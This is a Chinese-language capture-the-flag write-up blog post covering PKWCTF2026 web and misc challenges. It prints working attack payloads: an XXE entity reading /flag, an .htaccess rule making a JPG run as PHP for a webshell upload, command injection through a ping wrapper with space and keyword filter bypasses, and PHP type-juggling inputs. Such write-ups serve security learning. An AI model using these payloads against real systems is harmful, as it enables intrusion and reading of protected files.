PKWCTF2026-WP

WEB

纸上谈兵

xml语句,感觉像是XXE,尝试写一个DTD,利用file协议读取文件

image-20260920121729021

payload

1
2
3
4
5
<!DOCTYPE admin [<!ENTITY ben SYSTEM "file:///flag">]>
<register>
<name>admin</name>
<phone>&ben;</phone>
</register>

image-20260920121844754

签到题

利用ctrl+u想要查看源码,但是发现快捷键被禁用了

image-20260920122314319

那就利用f12查看源码

image-20260920122431222

在这里可以看到base64加密的flag解密一下就是flag,其实在控制台就可以直接看到一个flag,但是这个flag是假的

image-20260920122517554

或者直接在URL前加上view-source:,就可以看到完整源码

image-20260920122930855

那就对上一个base64密文解密

image-20260920122828585

mio

提示密码被藏起来了

image-20260920123350042

就尝试一些比较常见的源码泄露看看能不能把源码下载下来,发现www.zip可以下载到

image-20260920123331827

解压缩得到了一份字典

image-20260920123507592

然后放到bp中抓包攻击

image-20260920124340005

一开始全返回了302我以为失败了,但是当我把拦截关闭了之后,发现已经出flag,但是密码还不清楚是哪一个,没搞明白出题人是想考什么,只是用bp爆破的过程吗(不管会爆破会信息收集就行,至少出flag了

image-20260920124418469

mio上传

一道简单的文件上传,php貌似被完全过滤了

image-20260920125345129

看到是Apache服务,就可以利用.htaccess配置文件

image-20260920130258890

原理就是cmd.jpg的内容解析为php代码

1
2
3
<FilesMatch "cmd.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

image-20260920131350478

然后再上传一句话木马,显示上传成功可以看到上传路径,利用蚁剑连接

image-20260920131503230

连接成功可以直接读到flag

image-20260920131652753

image-20260920131727367

probe

打开网站看到说GET方法不可以,就尝试抓包

image-20260921163542110

在bp中可以看到有Step 2: PUT的提示,利用PUT方法

image-20260921163509401

只需要将请求方法手动改成PUT,看到Step3是用POST传参,路径是/probe,根据Hint添加X-Pkw-Auth: iamadmin

image-20260921163757483

下一步就是考察的添加Cookie值

image-20260921163938031

添加Cookie头,发包就可以得到flag

image-20260921164046199

元素属性

先用ctrl+u看一下前端源码,只能看到比较有用的就是/static/app.js,暴露了一些路由和传参方式

image-20260921164732890

简单审计一下,先找一下存在的路由接口

image-20260921164858705

路由 请求方法 用途 关联逻辑
/api/session GET 检查当前会话登录状态,判断是否直接进入加密文件库 boot()初始化时调用,返回authenticated字段,为true则跳过登录直接加载文件列表
/api/login POST 处理用户登录认证,验证账号密码合法性 登录表单提交时调用,接收username+password的JSON参数,返回ok字段标识认证结果,失败则返回拒绝原因
/api/logout POST 销毁当前登录会话,退出系统 点击退出按钮时调用,无额外参数,退出后清空本地文件状态、重置UI到登录页
/api/files GET 获取当前用户有权查看的文件列表元数据 登录成功后enterVault()调用,返回文件数组,包含id/name/label/description/accent/disabled等字段,用于渲染文件卡片列表
/api/files/:fileId GET 获取指定ID文件的完整内容 点击文件卡片的「OPEN」按钮时调用,返回文件的name和content字段,渲染到右侧文件查看器

但是首先需要在首页进行登录

image-20260921165103409

一开始尝试了爆破,但是没有命中,就想到了信息收集,看一下爬虫协议

image-20260921165209523

继续去访问这个给出的路径,发现直接给了账号密码

1
adminroot/112233

image-20260921164656506

登录成功,先查看flag.txt文件,发现是一个提示:“怎么查看不了f14g文件哇,你知道js里的一个dom元素属性嘛?似乎他可以改变这一切”,我们可以看到f14g文件的按钮失效了

image-20260921165327839

利用f12开发者工具,在“元素”中,利用左上角的可以定位到失效按钮的地方

image-20260921165644491

将disabled删去,回车

image-20260921165840891

再看到我们的页面,f14g的按钮就不是灰色的了,可以点击了直接获得flag

image-20260921165912808

4048

一个小游戏,我其实玩到4048分了,但是没有给flag,就只能看源码了

在game.js主要源码就是这一段,可以看到十六进制编码后的flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function checkWin() {
if (winFlagShown) return;
if (score === 4048) {
winFlagShown = true;
statusBadge.textContent = document.querySelector('#winModal h2').textContent;
statusBadge.style.color = '#ffd700';
showWinModal();
const ENCODED_FLAG = '0x50, 0x4b, 0x57, 0x43, 0x54, 0x46, 0x7b, 0x34, 0x39, 0x66, 0x31, 0x65, 0x31, 0x39, 0x61, 0x2d, 0x61, 0x39, 0x36, 0x66, 0x2d, 0x34, 0x64, 0x62, 0x61, 0x2d, 0x38, 0x64, 0x37, 0x61, 0x2d, 0x62, 0x37, 0x62, 0x37, 0x64, 0x32, 0x63, 0x61, 0x63, 0x31, 0x32, 0x32, 0x7d';
const byteStrArr = ENCODED_FLAG.split(',').map(s => s.trim().replace(/^0x/,''));
const realHex = byteStrArr.join('');
const decoded = window.__Jsfuck.decode(realHex);
console.log('score = 4048,Flag :', decoded);
flagDisplay.textContent = decoded;
modalOverlay.classList.add('active');
}
}

然后在encoder.js里面是自定义的JSFuck映射表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
(function() {
const ENCODE_MAP = {
'0': '[]!',
'1': '()!',
'2': '![]',
'3': '!()',
'4': '+[]',
'5': '+()',
'6': '[]+',
'7': '()+',
'8': '![',
'9': '!(',
'a': '([])',
'b': '(())',
'c': '[!]',
'd': '[+]',
'e': '(!)',
'f': '(+)',
'g': '![!]',
'h': '![+]',
'i': '!(!)',
'j': '!(+)',
'k': '+[!]',
'l': '+[+]',
'm': '+(!)',
'n': '+(+)',
'o': '[![]]',
'p': '[!()]',
'q': '[+[]]',
'r': '[+()]',
's': '([!])',
't': '([+])',
'u': '((!))',
'v': '((+))',
'w': '![![]]',
'x': '![!()]',
'y': '![+[]]',
'z': '![+()]',
'A': '+[![]]',
'B': '+[!()]',
'C': '+[+[]]',
'D': '+[+()]',
'E': '([![]])',
'F': '([!()])',
'G': '([+[]])',
'H': '([+()])',
'I': '((![]))',
'J': '((!()))',
'K': '((+[]))',
'L': '((+()))',
'M': '![![]!]',
'N': '![![]+]',
'O': '![!()!]',
'P': '![!()+]',
'Q': '![+[]!]',
'R': '![+[]+]',
'S': '![+()!]',
'T': '![+()+ ]',
'U': '+[![]!]',
'V': '+[![]+]',
'W': '+[!()!]',
'X': '+[!()+ ]',
'Y': '+[+[]!]',
'Z': '+[+[]+]',
'{': '([![]!])',
'}': '([![]+])',
'_': '([!()!])',
'-': '([!()+])',
'=': '([+[]!])',
'+': '([+[]+])',
'*': '([+()!])',
'/': '([+()+])',
'!': '![![]![]]',
'@': '![![]!()]',
'#': '![![]+[]]',
'$': '![![]+()]',
'%': '![!()![]]',
'^': '![!()!()]',
'&': '![!()+[]]',
'(': '![!()+()]',
')': '![+[]![]]',
'[': '![+[]!()]',
']': '![+[]+[]]',
';': '![+[]+()]',
':': '![+()![]]',
"'": '![+()!()]',
'"': '![+()+[]]',
',': '![+()+()]',
'.': '+[![]![]]',
'?': '+[![]!()]',
'<': '+[![]+[]]',
'>': '+[![]+()]',
'|': '+[!()![]]',
'\\': '+[!()!()]',
'`': '+[!()+[]]',
'~': '+[!()+()]'
};
const DECODE_MAP = {};
for (const [ch, code] of Object.entries(ENCODE_MAP)) {
DECODE_MAP[code] = ch;
}

function encode(str) {
let r = '';
for (const ch of str) {
r += (ENCODE_MAP[ch] || '?') + ' ';
}
return r.trim();
}

function decode(encoded) {
return encoded.split(/\s+/).map(t => DECODE_MAP[t] || '?').join('');
}

window.__Jsfuck = {
encode: encode,
decode: decode,
map: ENCODE_MAP
};
})();

还有一个就是main.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

document.addEventListener('keydown', function(e){

const keyMap = {
'ArrowUp':0,
'ArrowRight':1,
'ArrowDown':2,
'ArrowLeft':3
};
if(keyMap.hasOwnProperty(e.key)){
e.preventDefault();
window.__GameAPI.move(keyMap[e.key]);
}
});


const restartBtn = document.getElementById('restartBtn');
restartBtn.addEventListener('click', ()=>{
window.__GameAPI.initGame();
});

就直接写脚本

整体逻辑就是现根据encoder.js还原JSFuck映射表,然后提取并清洗Hex字符串,也就是game.js中的ENCODED_FLAG,然后将Hex转换为字符串,最后解码flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
2048 CTF Flag Decryptor
Usage: python decrypt_flag.py
"""

# 1. 还原 __Jsfuck 的 ENCODE_MAP(来自第三段源码)
ENCODE_MAP = {
'0': '[]!', '1': '()!', '2': '![]', '3': '!()', '4': '+[]', '5': '+()',
'6': '[]+', '7': '()+', '8': '![', '9': '!(',
'a': '([])', 'b': '(())', 'c': '[!]', 'd': '[+]', 'e': '(!)', 'f': '(+)',
'g': '![!]', 'h': '![+]', 'i': '!(!)', 'j': '!(+)', 'k': '+[!]', 'l': '+[+]',
'm': '+(!)', 'n': '+(+)', 'o': '[![]]', 'p': '[!()]', 'q': '[+[]]', 'r': '[+()]',
's': '([!])', 't': '([+])', 'u': '((!))', 'v': '((+))', 'w': '![![]]', 'x': '![!()]',
'y': '![+[]]', 'z': '![+()]', 'A': '+[![]]', 'B': '+[!()]', 'C': '+[+[]]', 'D': '+[+()]',
'E': '([![]])', 'F': '([!()])', 'G': '([+[]])', 'H': '([+()])', 'I': '((![]))', 'J': '((!()))',
'K': '((+[]))', 'L': '((+()))', 'M': '![![]!]', 'N': '![![]+]', 'O': '![!()!]', 'P': '![!()+]',
'Q': '![+[]!]', 'R': '![+[]+]', 'S': '![+()!]', 'T': '![+()+ ]', 'U': '+[![]!]', 'V': '+[![]+]',
'W': '+[!()!]', 'X': '+[!()+ ]', 'Y': '+[+[]!]', 'Z': '+[+[]+]',
'{': '([![]!])', '}': '([![]+])', '_': '([!()!])', '-': '([!()+])',
'=': '([+[]!])', '+': '([+[]+])', '*': '([+()!])', '/': '([+()+])',
'!': '![![]![]]', '@': '![![]!()]', '#': '![![]+[]]', '$': '![![]+()]',
'%': '![!()![]]', '^': '![!()!()]', '&': '![!()+[]]', '(': '![!()+()]',
')': '![+[]![]]', '[': '![+[]!()]', ']': '![+[]+[]]', ';': '![+[]+()]',
':': '![+()![]]', "'": '![+()!()]', '"': '![+()+[]]', ',': '![+()+()]',
'.': '+[![]![]]', '?': '+[![]!()]', '<': '+[![]+[]]', '>': '+[![]+()]',
'|': '+[!()![]]', '\\': '+[!()!()]', '`': '+[!()+[]]', '~': '+[!()+()]'
}

# 2. 构建 DECODE_MAP
DECODE_MAP = {v: k for k, v in ENCODE_MAP.items()}

# 3. 来自第一段源码的 ENCODED_FLAG
ENCODED_FLAG = '0x50, 0x4b, 0x57, 0x43, 0x54, 0x46, 0x7b, 0x34, 0x39, 0x66, 0x31, 0x65, 0x31, 0x39, 0x61, 0x2d, 0x61, 0x39, 0x36, 0x66, 0x2d, 0x34, 0x64, 0x62, 0x61, 0x2d, 0x38, 0x64, 0x37, 0x61, 0x2d, 0x62, 0x37, 0x62, 0x37, 0x64, 0x32, 0x63, 0x61, 0x63, 0x31, 0x32, 0x32, 0x7d'

def jsfuck_decode(encoded: str) -> str:
"""对应 JS 里的 window.__Jsfuck.decode"""
return ''.join(DECODE_MAP.get(tok, '?') for tok in encoded.split())

def hex_to_str(hex_str: str) -> str:
"""Hex 字符串转普通字符串"""
return bytes.fromhex(hex_str).decode('utf-8')

def main():
# Step 1: 去 0x 并拼接 Hex
hex_str = ''.join(x.strip().replace('0x', '') for x in ENCODED_FLAG.split(','))

# Step 2: Hex -> 原始字符串(其实就是 Flag 的 Hex 编码形式)
raw_str = hex_to_str(hex_str)

# Step 3: 用 __Jsfuck.decode 解码
flag = jsfuck_decode(' '.join(raw_str))


if flag.startswith('?') or len(flag) < 10:
flag = raw_str

print(f"[+] Decrypted Flag: {flag}")

if __name__ == '__main__':
main()

image-20260921191624539

PKW学院

首页是一个学校的官网(但一眼就是AI写的,发现有效的板块只有几个,其中一个就是学生端登录,一直在提示新生的密码是身份证后六位,那就信息收集,先看一眼爬虫协议

image-20260921192037442

确实有一些路径但是没什么用

image-20260921192206772

那就看首页源码,可以看到给了api路径

image-20260921193819525

image-20260921193844012

有以下几个可能有用的api接口

任意环境变量读取,典型的 RCE / 信息泄露前置漏洞

1
GET /api/v1/admin/env?name=xxx

任意日志读取,可泄露 Token、Session、SQL 语句

1
GET /api/v1/admin/logs

系统信息泄露,暴露控制台配置

1
GET /api/v1/system/info

首先就是访问/api/v1/admin/env?name=看到返回提示了?name=APP_SECRET

image-20260921194529314

1
/api/v1/admin/env?name=APP_SECRET

image-20260921194655510

base64解码得到

image-20260921194745102

Linux之旅

文章最下面有一个setup(8)可以点击

image-20260921194838829

点击之后就是一个模拟虚拟机安装,一直点继续就行,然后用户名随便填,我填的admin/admin,这个无所谓

image-20260921195015042

到这一步之后就点击“重启进入系统”,然后用刚刚注册的账号密码登录

image-20260921195113452

先利用ls命令查看文件

image-20260921195816024

发现有两个文件,读取一下

notes.txt文件中有提示

  • 可以利用/usr/local/bin/pingx

  • 只有root身份才可以读取flag

image-20260921195905417

可以看一下/usr/local/bin/pingx有什么用

1
/usr/local/bin/pingx -h

image-20260921200048299

这些有点眼熟,是ping的标准帮助信息,所以/usr/local/bin/pingx就相当于ping命令,那就很容易想到尝试命令注入,发现是行的通的,而且已经是root身份了

1
/usr/local/bin/pingx "127.0.0.1;whoami"

image-20260921200258843

那就可以直接利用这个来读flag

1
/usr/local/bin/pingx "127.0.0.1;cat /flag"

image-20260921200415066

发现空格被过滤,一开始想用${IFS}绕过的,但是也被过滤了,那就换一种绕过方式

1
/usr/local/bin/pingx "127.0.0.1;cat</flag"

image-20260921200534980

flag关键字又被过滤了,先想到的是用通配符绕过,但应该也不可以,就用转义符

1
/usr/local/bin/pingx "127.0.0.1;cat</fla\g"

image-20260921200655600

小虎鲸大冒险

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$pass1 = isset($_GET["ticket"])
&& empty($_GET["ticket"])
&& $_GET["ticket"] !== "";

$pass2 = isset($_GET["depth"])
&& strlen($_GET["depth"]) <= 4
&& $_GET["depth"] > 1000;

$pass3 = isset($_POST["song"])
&& md5($_POST["song"]) == 0;

if ($pass1 && $pass2 && $pass3) {
echo "小虎鲸成功回家!";
echo $flag;
} else {
echo "小虎鲸还没有通过三关。";
}

isset函数就是来判断参数是否存在的,参数存在时返回为true

empty函数用于检查一个变量是否为空,会返回true的情况:””、0、”0”、null、false、未定义变量

strlen计算字符串长度的函数,这里要求小于4但是值又要大于1000,就用科学计数法绕过

md5($_POST["song"]) == 0md5弱比较

payload

1
2
?ticket=0&depth=3e12
song=s878926199a

image-20260922122448275

MISC

De-Fusion

将解压缩的图片放到010中看到里面有一个flag2.png,

image-20260921201856307

搜索一下压缩包的十六进制头50 4B 03 04,发现存在压缩包

image-20260921202023573

直接把图片的后缀名改成.zip

image-20260921202121880

里面存在flag2.png

image-20260921202223042

1
2
_K4I31d0_H34rt}
_K4l31d0_H34rt}

PKWCTF2026-WP
https://colourful228.github.io/2026/09/20/PKWCTF2026-WP/
作者
Colourful
发布于
2026年9月20日
更新于
2026年10月22日
许可协议